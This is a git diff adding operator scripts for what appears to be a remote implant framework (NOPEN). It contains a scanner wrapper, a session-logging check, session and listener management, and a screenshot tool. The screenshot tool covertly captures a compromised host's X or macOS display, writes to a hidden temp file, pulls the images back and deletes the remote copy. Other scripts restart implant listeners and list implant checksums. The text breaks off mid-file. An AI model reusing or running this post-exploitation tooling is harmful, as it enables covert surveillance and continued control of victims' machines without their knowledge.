local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_FAILURE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# local (@stuff) = (@_,$hopping) ; + warn "${color2}${prog}[$$]$what2\a: ${color}$what$COLOR_NORMAL\n" ; +#"\n${COLOR_FAILURE}\a$what $hopping$COLOR_NORMAL\n" ; + exit 1; +}#mydie + +sub usage { + print "\nFATAL ERROR: @_\n" if ( @_ ); + $usagetext = $gsusagetext if ($nopen_mypid) ; + print $usagetext unless $opt_v ; + print $vertext ; + print "\nFATAL ERROR: @_\n" if ( @_ ); + exit; +}#usage + +sub myinit { + use File::Basename ; + require "getopts.pl"; + $COLOR_SUCCESS="\033[1;32m"; + $COLOR_FAILURE="\033[1;31m"; + $COLOR_WARNING="\033[1;33m"; + $COLOR_NORMAL="\033[0;39m"; + $COLOR_NOTE="\033[0;34m"; + $prog = basename $0 ; + $vertext = "$prog version $VER\n" ; + $| = 1; + $nopen_mypid = $ENV{NOPEN_MYPID} ; + $nopen_mylog = $ENV{NOPEN_MYLOG} ; + $nopen_rhostname = $ENV{NOPEN_RHOSTNAME} ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless $nopen_rhostname; + $opdir = "/current" ; + $opbin = "$opdir/bin" ; + $opetc = "$opdir/etc" ; + $opdown = "$opdir/down" ; + $ext = "$$" ; # some uniqueness to me + @doscans = (brpc,rpc,xwin,mibiisa) ; +#faster this way but no bs/ys +# @doscans = (mibiisa) ; + foreach (@ARGV) { + # quietly throw away any args not IPs + $GSOPTIONS .= "$_ " if (ipcheck($_)) ; + $calledfromautosploit++ if ($_ eq "FROMAUTOSPLOIT") ; + $calledfromautoscans++ if ($_ eq "FROMAUTOSCANS") ; + } + @broadcasts = split(/\n/,`grep "Broadcast" /current/down/hostinfo.$nopen_rhostname 2>/dev/null | awk '{print \$2}'`) ; + $broadcasts{$_}++ foreach (@broadcasts) ; + $usagetext=" +Usage: $prog [-h] (prints this usage statement) + +NOT CALLED DIRECTLY + +$prog is run from within a NOPEN session via when \"-gs scans\" is used. + +"; + if (@broadcasts) { + $broadcaststring = " (@broadcasts)." ; + } else { + $broadcaststring = ",$COLOR_FAILURE which cannot be determined!\n +Was hostinfo.$nopen_rhostname built successfully by autodone?$COLOR_NORMAL"; + } + $gsusagetext=" +Usage: -gs scans [-h] [ IP1 [ IP2 ... ] ] + +-gs scans calls $opetc/autoscans [ IP1 [ IP2 ... ] ]. + +When one or more IPs are given, you are also asked if you wish +to scan the broadcast address(es)$broadcaststring + +With no arguments, -gs scans will scan the broadcast address(es), +as well as your choice of other IPs/broadcasts, with these scans: + @doscans + +For any other scans, use the usual \"-scan what where\" syntax. + +"; + mydie("bad option(s)") if (! Getopts( "hv" ) ) ; + usage() if ($opt_h or $opt_v) ; +}#myinit + +sub progprint { + local ($what,$color,$color2,$what2) = (@_) ; + $color = $COLOR_NOTE unless $color ; + $color2 = $color unless $color2 ; + $what2 = " $what2" if ($what2) ; +# select STDERR ; + $| = 1; + print "${color2}${prog}[$$]$what2: ${color}$what$COLOR_NORMAL\n" ; +}#progprint +sub getinput { + local($prompt,$default,@allowed) = @_; + local($ans,$tmp,%other) = (); + $other{"Y"} = "N" ; $other{"N"} = "Y" ; + if ($other{$default} and ! (@allowed)) { + push(@allowed,$other{$default}) ; + } + $tmp = $default; + if (chop($tmp) eq " ") { + #damn ^M's in script files + $default = $tmp; + } + SUB: while (1) { + print STDERR $prompt; + if ($default) { + print STDERR " [$default] "; + } else { + print STDERR " "; + } + chomp($ans = ); + $ans = $default if ( $ans eq "" ); + last SUB if ($#allowed < 0) ; + foreach ($default,@allowed) { + last SUB if $ans =~ /^$_/i ; + } + } + return $ans; +}#getinput + +sub ipcheck() { + # returns 1 iff $ipstr is in dotted decimal notation with each + # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid) + local($ipstr,@junk) = @_; + # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.") + @octets=split(/\./,$ipstr,-1); + return 0 if ($#octets != 3); + foreach (@octets) { + # return 0 if (empty or nondigits or <0 or >255) + return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255); + } + return 1; +}#pcheck diff --git a/Linux/etc/autoscreenshot b/Linux/etc/autoscreenshot new file mode 100755 index 0000000..8d3a5a2 --- /dev/null +++ b/Linux/etc/autoscreenshot @@ -0,0 +1,299 @@ +#!/bin/env python +import autoutils,sys,re,string,os,time,commands +from optparse import OptionParser + +version = '1.0.0.4' + +class screenshot: + def __init__(self): + self.nopen = autoutils.autoutils() + self.options = None + self.nopen.connect() + + sys.stdout = sys.stderr + + self.COMMON_BIN_LOCATIONS = ['/usr/bin/', '/usr/local/bin/', '/usr/X11R6/bin/', '/usr/openwin/bin/'] + + + def timestamp(self): + return time.strftime("%Y%m%d-%H%M%S", time.localtime()) + + def printRed(self, msg): + sys.stderr.write("\n%s%s%s\n" % (self.nopen.COLOR_FAILURE, msg, self.nopen.COLOR_NORMAL)) + + + def launchFirefox(self, path): + + if commands.getoutput('firefox -remote "ping()"').find('No running window found') != -1: # commands package deprecated in Python 3.x + os.popen("firefox " + path + "&") + else: + os.popen("firefox -remote \"openFile(file://" + path + ",new-tab)\"") # open a new tab if firefox is already running + + return + + def manualScreenshot(self): + xauth = self.options.xauth + disp = self.options.disp + + if (xauth == None) or (disp == None) or (xauth == '') or (disp == ''): + print "Invalid values... exiting." + exit() + + self.takeFullScreenshot(xauth, disp) + # self.pullAllIds(xauth, disp) + + self.launchFirefox(self.pngpath) + + return + + def autoScreenshot(self): + + # check to see if we're on MacOS X + if self.nopen.status['targetos'].find('Darwin') > -1: + print "Special, we're on a Mac or something like that ..." + self.takeScreenshotMac() + return + + o,n,ol = self.nopen.doit("ps -ef | egrep \"(Xorg|X|Xsun)\" | egrep \"\-auth\"") + + authpatt = re.compile('-auth ([_a-zA-Z0-9:\./-]*)') + disppatt = re.compile('(X|Xorg|Xsun) [^:]* ?([0-9a-zA-Z./]*:[0-9]*) ') + + #n,o = self.nopen.doit("xwininfo -root -all | egrep -v \"no name\" | awk '{print $1}' | grep \"0x\"") + print "\n" + for line in ol: + line = line.strip() + # print "Processing: " + line + xauth = None + disp = None + for matchauth in authpatt.finditer(line): + xauth = matchauth.group(1) + #print 'xauth:' + #print xauth + + for matchdisp in disppatt.finditer(line): + disp = matchdisp.group(2) + #print 'disp:' + #print disp + + if (xauth == None) or (disp == None) or (xauth == '') or (disp == ''): + continue + else: + self.takeFullScreenshot(xauth, disp) + # self.pullIds(xauth, disp) + + self.launchFirefox(self.pngpath) + + return + + + def pullAllIds(self, xauth, disp): + prefix = "XAUTHORITY=" + xauth + " DISPLAY=" + disp + " " + o,n,ol = self.nopen.doit(prefix + self.pathtoxwininfo + " -root -all | egrep -v \"no name\" | awk '{print $1}' | grep \"0x\"") + + for id in ol: + # print id + targetexe = prefix + self.pathtoxwd + " -id " + id + localfile = self.xwdpath + "display" + disp + "-" + id + ".xwd" + self.nopen.doit(targetexe + " > L:" + localfile) + self.nopen.doit("-lsh cat " + localfile + " | xwdtopnm | pnmtopng > " + localfile.replace("xwd", "png")) + + # Get rid of all 0 byte files + self.nopen.doit("-lsh rm -v `find " + self.pngpath + " " + self.xwdpath + " -size 0c`"); + + def takeScreenshotMac(self): + + self.printRed("Taking a screenshot with the following information:") + filepath = "/private/tmp/" + filename = "." + + # figure out a filename that doesn't exist + o = "foo" + while o != "": + filename += "sc" + + o,n,ol = self.nopen.doit("-ls " + filepath + filename) + + exe = "screencapture -x -t jpg " + filepath + filename + print "COMMAND: " + exe + print "Path to screenshot file on target: " + filepath + filename +" (in case we lose connection)" + c = self.nopen.getInput("proceed? [y/N]", default="N") + + if c == "Y" or c == "y": + self.nopen.doit("-cd " + filepath) + self.nopen.doit(exe) + output,nopenoutput,outputlines = self.nopen.doit("-get " + filename) + if output != "": + self.nopen.doit("-rm " + filename) + localfile = self.jpgpath + "/screencapture." + self.timestamp() + ".jpg" + self.nopen.doit("-lsh mv " + self.nopen.opdown + "/" + self.nopen.nopen_rhostname + "/" + filepath + filename + " " + localfile) + self.launchFirefox(self.jpgpath) + print """Successful file collect, see latest file in Firefox directory just popped up:\n\n """ + localfile + + + else: + self.nopen.doit("-ls " + filename) + print "No valid screen capture, screen is likely asleep" + self.nopen.doit("-cdp") + return + + + def takeFullScreenshot(self, xauth, disp): + exe = "XAUTHORITY=" + xauth + " DISPLAY=" + disp + " "; + exe += self.pathtoxwd + + ssfilename = "full-screenshot-display-" + disp + "." + self.timestamp() + ".xwd" + + self.printRed("Using the following information to take the screenshot:") + print "\tXAUTHORITY: [" + xauth + "]" + print "\tDISPLAY: [" + disp + "]" + print "\tPath to 'xwd' binary: [" + self.pathtoxwd + "]" + print "\tPath to 'xwininfo' binary: [" + self.pathtoxwininfo + "]" + + c = self.nopen.getInput("proceed? [y/N]", default="N") + + if c == "Y" or c =="y": + # check for -silent option + # silent on by default unless you're on Solaris/SunOS + + if self.nopen.status['targetos'].find('SunOS') != -1: + self.options.silent = True + + silentopt = '-silent' if not self.options.silent else '' + + self.nopen.doit(exe + " -root " + silentopt + " > L:" + self.xwdpath + "/" + ssfilename) + else: + print "...exiting." + exit() + + # Check that we got an xwd file + o,n,ol = self.nopen.doit("-lsh file " + self.xwdpath + "/" + ssfilename) + + if ol[0].find("XWD X Window Dump") == -1: + self.printRed("ERROR! ERROR! ERROR! ERROR! ERROR! ERROR! ERROR!") + print open(self.xwdpath + "/" + ssfilename).read() + print "\t...exiting." + + self.nopen.doit("-lsh rm -v " + self.xwdpath + "/" + ssfilename) + exit() + + + self.nopen.doit("-lsh cat " + self.xwdpath + ssfilename + " | xwdtopnm | pnmtopng > " + self.pngpath + ssfilename + ".png") + + + def makePaths(self): + self.xwdpath = self.nopen.opdown + "/" + "SCREEN_CAPTURE/" + self.nopen.nopen_rhostname + "/xwd/" + self.pngpath = self.nopen.opdown + "/" + "SCREEN_CAPTURE/" + self.nopen.nopen_rhostname + "/png/" + self.jpgpath = self.nopen.opdown + "/" + "SCREEN_CAPTURE/" + self.nopen.nopen_rhostname + "/jpg/" + + + self.nopen.doit("-lsh mkdir -pv " + self.pngpath) + self.nopen.doit("-lsh mkdir -pv " + self.xwdpath) + self.nopen.doit("-lsh mkdir -pv " + self.jpgpath) + + return + + def searchForBinary(self, binaryName, searchCommonLocations = True): + + if searchCommonLocations: + locations = (binaryName+" ").join(map(str, self.COMMON_BIN_LOCATIONS)) + binaryName + else: + locations = binaryName + + o,n,ol = self.nopen.doit("-ls -1 " + locations) + if (len(ol) == 0): + + print "\nCouldn't locate " + binaryName + "..." + exit() + + return o.splitlines()[0] # grab the first match + + def locateExecutables(self): + # find the path to xwd and xwininfo binaries + + if not self.options.pathtoxwd: + self.pathtoxwd = self.searchForBinary("xwd") + else: + self.searchForBinary(self.options.pathtoxwd, False) + self.pathtoxwd = self.options.pathtoxwd + + if not self.options.pathtoxwininfo: + self.pathtoxwininfo = self.searchForBinary("xwininfo") + else: + self.searchForBinary(self.options.pathtoxwininfo, False) + self.pathtoxwininfo = self.options.pathtoxwininfo + +# print "DEBUG:pathtoxwd: " + self.pathtoxwd +# print "DEBUG:pathtoxwininfo: " + self.pathtoxwininfo + + return + + def main(self): + + # parsestatus() doesn't get the targetpid correctly, we'll stick with our target pid finder below + # gather infos + # self.nopen.parsestatus() + #print self.nopen.status + + if not self.parseArgs(): + return 0 + + + o,nl,ol = self.nopen.doit("-pid") + targetpid = o.split()[2] + + self.makePaths() + self.locateExecutables() + + print "\n====== Unix Screenshot Capture ======" + print "Run this in another window on target if you get into trouble: \n#\t kill -9 " + targetpid + + if (self.options.xauth and self.options.disp): + self.manualScreenshot() + else: + self.autoScreenshot() + + return True + + def parseArgs(self): + usage = """usage: -gs screenshot --doit +--doit : Automated screenshot (the script will figure out the options for you if you don't specify them below.) +-X : XAUTHORITY environment variable (Must also specify -D) +-D : DISPLAY environment variable (Must also specify -X) +-d : Location of xwd +-i : Location of xwininfo +-s : DO NOT use "-silent" argument (Some versions of xwd don't have a -silent option, e.g. Solaris). +-a : Pull all id's of a display (IMPLEMENTED BUT NOT USED, might not be necessary) +-v : Print version info + +-gs screenshot version """ + version + "\n" + + parser = OptionParser() + parser.add_option("--doit", dest="doit", action="store_true", default=False, help="Automated screenshot (the script will figure out the options for you if you don't specify them below.)") + parser.add_option("-X", dest="xauth", type="string", action="store", help="Set XAUTHORITY environment variable.") + parser.add_option("-D", dest="disp", type="string", action="store", help="Set DISPLAY environment variable.") + parser.add_option("-d", dest="pathtoxwd", type="string", action="store", help="/path/to/xwd") + parser.add_option("-i", dest="pathtoxwininfo", type="string", action="store", help="/path/to/xwininfo") + parser.add_option("-s", dest="silent", action="store_true", default=False, help="DO NOT use -silent argument (Some versions of xwd don't have a -silent option, e.g. Solaris)") + parser.add_option("-a", dest="pullall", action="store_true", default=False, help="Pull all id's of a display (IMPLEMENTED BUT NOT USED, might not be necessary)") + parser.add_option("-v", dest="version", action="store_true", default=False, help="Show version info v." + version) + + (options, args) = parser.parse_args(sys.argv) + + if options.version: + print "-gs screenshot version " + version + return False + + if not options.doit: + print usage + return False + + if (options.xauth and not options.disp) or (options.disp and not options.xauth): + print "Must specify -X with matching -D and vice versa, please try again..." + return False + + self.options = options + + return True + +screenshot().main() diff --git a/Linux/etc/autoscriptcheck b/Linux/etc/autoscriptcheck new file mode 100755 index 0000000..2fef71a --- /dev/null +++ b/Linux/etc/autoscriptcheck @@ -0,0 +1,125 @@ +#!/usr/bin/env perl +$VER="1.0.3.5" ; +myinit(); + +# Check to see if we are scripted. +chomp($scripted = `scriptcheck 2>/dev/null`); +unless ($scripted) { + chomp($scripted = `pschain $nopen_mypid 2>/dev/null | grep -v grep | grep "script -af.*script" | tail -1`); + $scripted =~ s/.*\s(\S+)$\s*/$1/; + unless ($scripted =~ /$opdown/) { + $scripted = "$opdown/$scripted" if ($scripted =~ /script\.[0-9]+/ and $scripted !~ m,$opdown,); + } +} + +# Save the name of our script file to $optmp for later use. +my $scriptname = "$optmp/noclientscript.$nopen_mypid"; +unless (-e $scriptname) { + open(SCRIPTNAME, "> $scriptname") or mydie("Unable to open $scriptname: $!\n"); + select SCRIPTNAME; + print $scripted; + close(SCRIPTNAME); + select STDOUT; +} + +dbg("scripted=$scripted inlab=$inlab SCRIPTOVERRIDE=$ENV{SCRIPTOVERRIDE}"); +if ($scripted) { +dbg("utilsproblem=$utilsproblem= sha1sums=$sha1sums= COLOR_NOTE=$COLOR_NOTE="); + progprint("$utilsproblem${sha1sums}${COLOR_NOTE}\n\nWE ARE SCRIPTED. GOOD: $COLOR_SUCCESS$scripted$COLOR_NORMAL\a"); + sleep 1; +} elsif ($inlab) { + progprint("$utilsproblem${sha1sums}In the lab, NOT SCRIPTED, but OK."); +} else { + mybail("$utilsproblem${sha1sums}${COLOR_FAILURE}NOT GOOD!!!\n\n\nTHIS IS AN UNSCRIPTED WINDOW!!!!",$COLOR_FAILURE); + progprint("$utilsproblem${sha1sums}${COLOR_FAILURE}NOT GOOD!!!\n\n\nTHIS IS AN UNSCRIPTED WINDOW!!!!",$COLOR_FAILURE); +dbg("$utilsproblem${sha1sums}${COLOR_FAILURE}NOT GOOD!!!\n\n\nTHIS IS AN UNSCRIPTED WINDOW!!!!",$COLOR_FAILURE); + beep(10) unless (length $ENV{SCRIPTOVERRIDE} || $calledviarequire); +} + +# End with true value as we require this script elsewhere. +1; +## END MAIN + +sub mybail { + dbg("in myprint(@_) quiet=$quiet"); + dbg("Here0"); + #print STDERR "TEST STDERR in myprint(@_)"; + #print STDOUT "TEST STDOUT in myprint(@_)"; + myofferabort("@_"); + dbg("Here1"); + return if $quiet; + my $color = $COLOR_NOTE; + if ($_[$#_] eq "1" or $_[$#_] =~ /^\033\[/) { + $color = pop(@_); + $color = $COLOR_FAILURE if $color eq "1" ; + } + if ($_[$#_] eq "2") { + dbg("Here2"); + pop(@_); + print STDERR "\n$color\n\n$date: @_\n\n$COLOR_NORMAL\n"; + } else { + dbg("Here3"); + print STDOUT "\n$color\n\n$date: @_\n\n$COLOR_NORMAL\n"; + } +}#mybail + +sub beep { + local ($count) = (@_); + $count = 5 unless $count > 0 ; + print STDERR "$COLOR_FAILURE\n"; + while ($count--) { + my $what = $count % 2 ? "\a \r" : "NOT GOOD!!!\a\r"; + print STDERR $what; + sleep 1; + } + print STDERR "$COLOR_NORMAL\n"; +}#beep + +sub myofferabort { + my ($prompt,@more) = (@_); + if ($more[0] eq "N") { + $prompt.= " (you can also bort)"; + push(@more,"A"); + } else { + $prompt.= "\n\nIf you ontinue, your window will remain UNSCRIPTED. (thats not good)\n\n". + "The default will be to -exit this target, so you can script the window."; + push(@more,"EXIT","C"); + } +#dbg("Calling mygetinput($prompt,@more);"); + my ($answer,$answerlong) = mygetinput($prompt,@more); +# if ($abort =~ /^a/i and lc $abort ne "always") { + if ($answer eq "e") { + progprint("$COLOR_FAILURE\n\nAborted by user--EXITING THIS WINDOW in 3 seconds\n\n"); + sleep 4; + doit("-exit") unless length $ENV{SCRIPTOVERRIDE}; + mydie("OK, nevermind. You have SCRIPTOVERRIDE=$ENV{SCRIPTOVERRIDE} set.\n\n\n". + "Hope you know what you are doing. Your window is STILL not scripted.\n"); + } + return ($answer,$answerlong); +} + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs scriptcheck @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs scriptcheck"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; +}#myinit diff --git a/Linux/etc/autosessioninit b/Linux/etc/autosessioninit new file mode 100755 index 0000000..46874e9 --- /dev/null +++ b/Linux/etc/autosessioninit @@ -0,0 +1,320 @@ +#!/usr/bin/env perl +# +# 20090428 - This file is responsible for printing the didthis-style listing of all currently +# active NOPEN sessions. It is also responsible for initializing the NOPEN session by reading +# and executing all of the norc files that have been written out elsewhere. +# +$VER="1.0.0.2" ; +my $reinit=0; +myinit(); + +sub dosessioninit { + dbg("in autosessioninit, starting up NOPEN session (reinit = =$reinit=)"); + + chomp(my $noclientbin = `pschain $nopen_mypid 2>/dev/null | head -1 | awk '{print \$8}'`); + $noclientbin = "noclient" unless $noclientbin; + + # Try to find the filename where the script command is preserving our window. + my $scriptname = "$optmp/noclientscript.$nopen_mypid"; + my $nopen_script; + if (-e $scriptname) { + my $scripted; + open(SCRIPTNAME, "$scriptname") or mydie("Unable to open $scriptname: $!\n"); + $scripted = ; + if ($scripted && ($scripted =~ /$opdown\/script\.[0-9]+/)) { + chomp($scripted); + #dbg("in autosessioninit, found script filename = =$scripted="); + ($nopen_script)=$scripted =~ /\s(\/\S+)/; + } + close(SCRIPTNAME); + } + + if (-e "$optmp/noclient.info.$nopen_mypid" && !$reinit) { + dbg("in autosessioninit, not doing anything"); + return 1; + } + + progprint("Initializing NOPEN session\n"); + if ($reinit) { + #dbg("in autosessioninit, deleting existing info at $optmp/noclient.info.$nopen_mypid"); + `rm -f $optmp/noclient.info.$nopen_mypid`; + } + my $vars=""; + #dbg("in autosessioninit, doing creation of source data for $optmp/noclient.info.$nopen_mypid"); + my @nopen_env = ( + "NOPEN_RHOSTNAME", + "NOPEN_SERVERINFO", + "NOPEN_AUTOPORT", + "NOPEN_CLIENTVER", + ); + $vars=""; + foreach (@nopen_env) { + my $varname = lc $_ ; + $vars .= "\$${varname}"."{$nopen_mypid}=\"$ENV{$_}\";\n"; + } + $vars.="\$nopen_mylog"."{$nopen_mypid}=\"$nopen_mylog\";\n"; + $vars.="\$nopen_myip"."{$nopen_mypid}=\"$nopen_myip\";\n"; + $vars.="\$nopen_mypid"."{\"$nopen_rhostname\"}=\"$nopen_mypid\";\n"; + chomp(my $test = `ps hp $nopen_mypid`); + unless ($test =~ /localhost/) { + ($nopen_connect) = $test =~ /(noclient .*)\s*/ unless /-i \d+/; + } + my $gotdidthis=0; + foreach $didthisfile (split(/\n/,`ls -rt1 $opdown/didthis*`)) { + dbg("file=$didthisfile"); +# if (!$nopen_connect and + if (chomp($test = `grep "$nopen_myip" $didthisfile | grep noclient`)) { + $test =~ s/\s*$//; + $nopen_connect = $test; + } + if (chomp($test = `grep "$nopen_myip" $didthisfile | grep nstun`)) { + $test =~ s/\s*$//; + $nopen_connect = $test; + } + # if (!$nopen_connect) { + if (chomp($test = `grep -A2 " to $nopen_myip" $didthisfile`)) { + my ($comment,$nrtun,$call) = split(/\n/,$test); + $test = "BOTH $nrtun\n AND $call"; + $nopen_connect = $test if $nrtun and $call; + $vars .= "\$ourtncomment"."{\"$nopen_myip\"} = \"$comment\";\n"; +# $nopen_connect = $nrtun if (!$call); + } +# last if $nopen_connect; + } + $nopen_connect =~ s/\S*noclient/noclient/ + unless $nopen_connect =~ /BOTH.*AND/; + $nopen_connect =~ s/noclient ([\d]{1,3}\.[\d]{1,3}\.[\d]{1,3}\.[\d]{1,3})+ /noclient $1:/; + $vars.="\$nopen_connect"."{\"$nopen_myip\"}=\"$nopen_connect\" unless \$nopen_connect"."{\"$nopen_myip\"};\n"; + + # What project am I? + my ($connectip) = $nopen_connect =~ /(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/; + + dbg("nopen_connect=$nopen_connect"); + dbg("connectip=$connectip"); + + if ($ENV{PROJECTNAME}) { + $projectname{$nopen_myip} = $ENV{PROJECTNAME}; + } else { + my $test; + # The "_" in front of $_ here makes sure it's an + # exact match to this IP. + if ($nopen_myip) { + chomp($test = `ls -d $opbin/varkeys/*/*_$nopen_myip 2>/dev/null`); + if ($test) { + my @howmany = split(/\n/,$test); + if (@howmany > 1) { + mywarn("More than one project has IP $nopen_myip in it (using the first one):\n$test\n"); + $test = $howmany[0]; + } + ($projectname{$nopen_myip}) = $test =~ m,$opbin/varkeys/([^/]+), ; + }#$nopen_myip + } + if ($connectip) { + chomp($test = `ls -d $opbin/varkeys/*/*_$connectip 2>/dev/null`); + if ($test) { + my @howmany = split(/\n/,$test); + if (@howmany > 1) { + mywarn("More than one project has IP $connectip in it (using the first one):\n$test\n"); + $test = $howmany[0]; + } + ($projectname{$connectip}) = $test =~ m,$opbin/varkeys/([^/]+), ; + }#$connectip + } + } + $projectname = $projectname{$nopen_myip}; +# $projectname{$connectip} = $projectname{$nopen_myip} +# if ($connectip and ! $projectname{$connectip}); + + # Set up this run + my ($sec,$min,$hr,$mday,$mon,$year,$wday,$yday,$isdst) = gmtime(); + $year += 1900 if $year < 1900; + $date = $year; + $date = ($date*100) + ($mon + 1); + $date = ($date*100) + $mday; + $date = ($date*100) + $hr; + $date = ($date*100) + $min; + $date = ($date*100) + $sec; + $date = substr("$date",0,8)."-".substr("$date",-6)."Z"; + + if ($vars) { + #dbg("in autosessioninit, generating $optmp/noclient.info.$nopen_mypid"); + if ($projectname) { + $vars .= "\$projectname"."{\"$nopen_myip\"}=\"$projectname\";\n"; + $vars .= "\$projectname"."{\"$connectip\"}=\"$projectname{$connectip}\";\n" + if ($connectip and !($projectname{$connectip})); +# $vars .= "\$projectname=\"$projectname\";\n"; + } else { + $projectname = "???"; + } + $vars.="\$nopen_script"."{\"$nopen_myip\"}=\"$nopen_script\";\n" if ($nopen_script); + chomp(my $date = `date +%s`); + $date .= " == ".scalar gmtime($date); + $date =~ s/(\d{4})$/UTC $1/; + $vars .= "\$nopen_initiated"."{\"$nopen_myip\"}=\"$date\";\n"; + if (open(OUT,"> $optmp/noclient.info.$nopen_mypid")) { + print OUT $vars; + } + print OUT "1;\n"; + close(OUT); + mkdir("$opdown/history/noclient-sessions",oct 0700); + copy("$optmp/noclient.info.$nopen_mypid", + "$opdown/history/noclient-sessions"); + #dbg("in autosessioninit, $optmp/noclient.info.$nopen_mypid generated"); + } + refreshnoclientinfo(); + + if (1 or $debug) { + my $printout; + my (%lastshown,%opposite) = (); + $opposite{"noclient"} = "-nstun"; + $opposite{"-nstun"} = "noclient"; + my ($port) = (); + $printout .= "Current active NOPEN sessions:\n" if (scalar(keys %nopen_rhostname) > 1); + foreach (sort by_num keys %nopen_rhostname) { + my $tmpproject = $projectname{$nopen_myip{$_}}; + my ($more,$more2) = (); + my ($host) = $nopen_rhostname{$_} =~ /(.*).$nopen_myip{$_}/; + my $connect = $nopen_connect{$nopen_myip{$_}}; + if ($nopen_rhostname eq $nopen_rhostname{$_}) { + #dbg("Here we are $nopen_rhostname"); + if (-e "$optmp/Porklisten.$nopen_rhostname" and + open(SCRIPTIN,"$optmp/Porklisten.$nopen_rhostname")) { + $port = ; + close(SCRIPTIN); + } + } + if ($lastshown{$nopen_myip{$_}} and + $connect eq $lastshown{$nopen_myip{$_}}) { + if ($connect =~ /(noclient|-nstun)\s*$nopen_myip{$_}/) { + my $old=$1; + $connect =~ s/$old/$opposite{$old}/; + } + } + $lastshown{$nopen_myip{$_}} = $connect; + $connect = $nopen_connect{$nopen_myip{$_}} + unless $connect; + $more = "\n". + " nopen_autoport = $nopen_autoport{$_}\n". + " noclientver = $nopen_clientver{$_}" + if ($debug); + $more2 = "\n". + " ourtn = $ourtncomment{$nopen_myip{$_}}\n". + " NOPEN start = $nopen_initiated{$nopen_myip{$_}}\n" + if ($debug or $verbose); + $printout .= sprintf("$COLOR_NOTE +noclient PID=%s %55s$COLOR_NORMAL + hostname = %-15s connect =$COLOR_FAILURE %s$more$COLOR_NORMAL + IP = %-15s serverinfo = %s + log = %s$more2 + \n", + $_,"PROJECT: $tmpproject",$host,$connect, + $nopen_myip{$_},$nopen_serverinfo{$_}, + $nopen_mylog{$_}); + } + progprint("$printout\n"); + + if ($port) { + # Since host we are on was started with PORK and we had a listener at one point, + # We want to see if it is still there and if not offer to restart it + my ($output,$nopenlines,@output) = doit("netstat -an | grep $port.*LISTEN"); + if ($output =~ /$port.*LISTEN/) { + progprint("${COLOR_FAILURE}CONFIRMED$COLOR_NORMAL: we still have NOPEN server LISTENING:\n$output"); + } else { + my ($ans,$anslong) = mygetinput("$COLOR_FAILURE\n". + "NOTE: This host was reached via PORK, and yet there appears to be\n". + " no NOPEN listener at $port any longer. Enter \"Y ###\" to pick a new port.\n". + "\n +Restart it?","Y"); + if (my ($newport) = $ans =~ /^y\D*(\d*)/i) { + if ($newport > 0 and $newport < 60000) { + $port = $newport; + open(SCRIPTOUT,"> $optmp/Porklisten.$nopen_rhostname"); + print SCRIPTOUT $newport; + } + doit("-listen $port"); + progprint("\n\nHere's your choice of pastables to connect to it:\n\n". + "\t-nstun $nopen_myip:$port\n". + "\tnoclient $nopen_myip:$port\n". + ""); + } + } + }#if port + } + + my ($addpath,$mynorc) = (); + if (-e $nopen_mynorc) { + $mynorc = "-readrc $nopen_mynorc"; + if (open(IN,$nopen_mynorc)) { + while () { + next unless /alias -mypath=-gs addpath (.*)/; + $addpath = $1; + $addpath =~ s/\s*$//; + nopenaddpath($addpath); + } + close(IN); + } + } + doit($mynorc) if $mynorc; + + my $sha1sums = ""; + if (-e "$opup/.sha1sums") { + # If this file is here, show it this one time, then move it to $opdown. + # This is just for posterity in the logs. + $sha1sums = "${COLOR_SUCCESS}\n\n\nsha1sums of implants visible in this build (see $opdown/sha1sums):\n\n"; + $sha1sums .= `cat $opup/.sha1sums`; + $sha1sums .= "\n\n"; + my $ext = ""; + while (-e "$opdown/sha1sums$ext") { + $ext = ".000" unless $ext; + $ext++; + } + rename("$opup/.sha1sums","$opdown/sha1sums$ext"); + unless (fork()) { + close(STDOUT); + close(STDERR); + if (open(OUT,">> $opdown/sha1sums$ext")) { + print OUT "\n\n\nAnd for posterity, here are sha1 checksums all of up directories in $opdir/:\n\n"; + foreach (split(/\n/,`find $opdir/ -type d -name up`)) { + print OUT `sha1sum $_/* $_/*/* $_/*/*/* 2>/dev/null | sed "s,/current/,../,g"`; + } + } + close(OUT); + exit; + } + } +}#dosessioninit + +dosessioninit(); + +# End with true value as we require this script elsewhere. +1; +## END MAIN + +sub myinit { + # If $willautoport is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $calledviarequire = 0; + if ($willautoport and $socket) { + progprint("$prog called -gs sessioninit @ARGV"); + $calledviarequire = 1; + } else { + $willautoport=1; + my $autoutils = "../etc/autoutils" ; + unless (-e $autoutils) { + $autoutils = "/current/etc/autoutils" ; + } + require $autoutils; + $prog = "-gs sessioninit"; + $vertext = "$prog version $VER\n" ; + mydie("No user servicable parts inside.\n". + "(I.e., noclient calls $prog, not you.)\n". + "$vertext") unless ($nopen_rhostname and $nopen_mylog and + -e $nopen_mylog); + } + # If $socket is already defined, we must have been called + # by another script via require. We do not re-do autoport stuff. + $socket = pilotstart(quiet) unless $socket; + + #dbg("in autosessioninit, argv = =@ARGV="); + $reinit = "@ARGV" eq "reinit"; +} diff --git a/Linux/etc/autoskeleton b/Linux/etc/autoskeleton new file mode 100755 index 0000000..7ecff2a --- /dev/null +++ b/Linux/etc/autoskeleton @@ -0,0 +1,248 @@ +#!/usr/bin/env perl +## +$VER="1.0.0.3"; + +$| = 1 ; +($scriptcount, $functioncount) = (); +myinit() ; + + +dbg("This output is from dbg(): @ARGV") if $opt_D; + +progprint("This output is from progprint(): @ARGV") if $opt_P; + +if ($opt_T) { + 